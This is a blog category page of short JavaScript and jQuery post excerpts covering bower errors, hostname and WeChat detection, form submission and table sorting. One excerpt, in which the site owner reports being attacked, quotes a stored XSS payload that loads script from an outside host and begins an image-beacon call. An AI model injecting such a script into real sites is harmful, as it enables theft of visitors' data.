![](https://img-blog.csdnimg.cn/20201014180756923.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
js
文章平均质量分 50
蜗蜗奶糖
这个作者很懒,什么都没留下…
展开
-
bower 出现 retry Request to https://registry.bower.io/packages/xxx failed with ECONNRESET
引用github issue上国外网友的回答:If it's any help, I'm facing the same problem in the same conditions (cntlm to bypass corporate proxy). I used bower-canary as@satazorsuggested. Didn't work until I had the following in my .bowerrc如果有任何帮助,我在相同的条件下面临同样的问题(cntlm ..转载 2021-08-25 15:59:21 · 1524 阅读 · 0 评论 -
js 获取主机名函数
function getRootPath() { //获取当前网址,如: http://localhost:8083/uimcardprj/share/meun.jsp var curWwwPath = window.document.location.href; //获取主机地址之后的目录,如: uimcardprj/share/m...转载 2018-12-04 14:50:13 · 1572 阅读 · 0 评论 -
h5检测微信手机端
function isWeixin() { var ua = window.navigator.userAgent.toLowerCase(); if (ua.match(/MicroMessenger/i) == 'micromessenger') { return 1; } else { ...转载 2018-12-04 15:10:51 · 461 阅读 · 0 评论 -
记一次服务器遭遇黑客攻击
运营了一个网站,今天突然后台用户列表打开只有一条记录,还是半截。直觉告诉是字段出了问题,数据库查看一下这条记录的字段,一看下了一跳,竟然是js 注入攻击<sCRiPt/SrC=//baidu.xiaoxiaowu.me/Jg3G>这段代码链接到了一个js文件,不知道这个文件的作用,有谁知道告诉一下。(function() { (new Image()).src = 'h...原创 2018-12-05 10:27:10 · 318 阅读 · 0 评论 -
js 通用表单提交
<form name='SearchForm' id="form" id='SearchForm' method='POST' action="__ROOT__/admin.php/User/xiaofeiorder"> <input type="text" name = "phone" value="{$phone}" class="bu-in转载 2018-12-06 13:43:58 · 170 阅读 · 0 评论 -
jquery 模拟手动点击链接代码
html 文件如下: <a href="http://www.baidu.com" id='alipaybtn'>jquery点我</a> jquery 代码如下:var goPay = '<span id="goPay"> <span>';//给A标签中的文字添加一个能被jQuery捕获的元素$('#alipaybtn')....转载 2018-12-06 16:45:37 · 1113 阅读 · 0 评论 -
jquery选择器之radio 和id
$(":radio#1").attr("checked");为了提高效率如下例子 <td class='ui-field-contain'><input type='text' name='actMetric' id='actMetric' data-inline='true'></td> <td class='ui-fi...原创 2014-09-17 20:42:38 · 932 阅读 · 0 评论 -
jquery 表格排序
// {#表格排序01#}$(document).on('click', 'th', function() { var table = $(this).parents('table').eq(0); var rows = table.find('tr:gt(0)').toArray().sort(comparer($(this).index())); this.asc = !thi...转载 2019-03-08 00:47:22 · 597 阅读 · 0 评论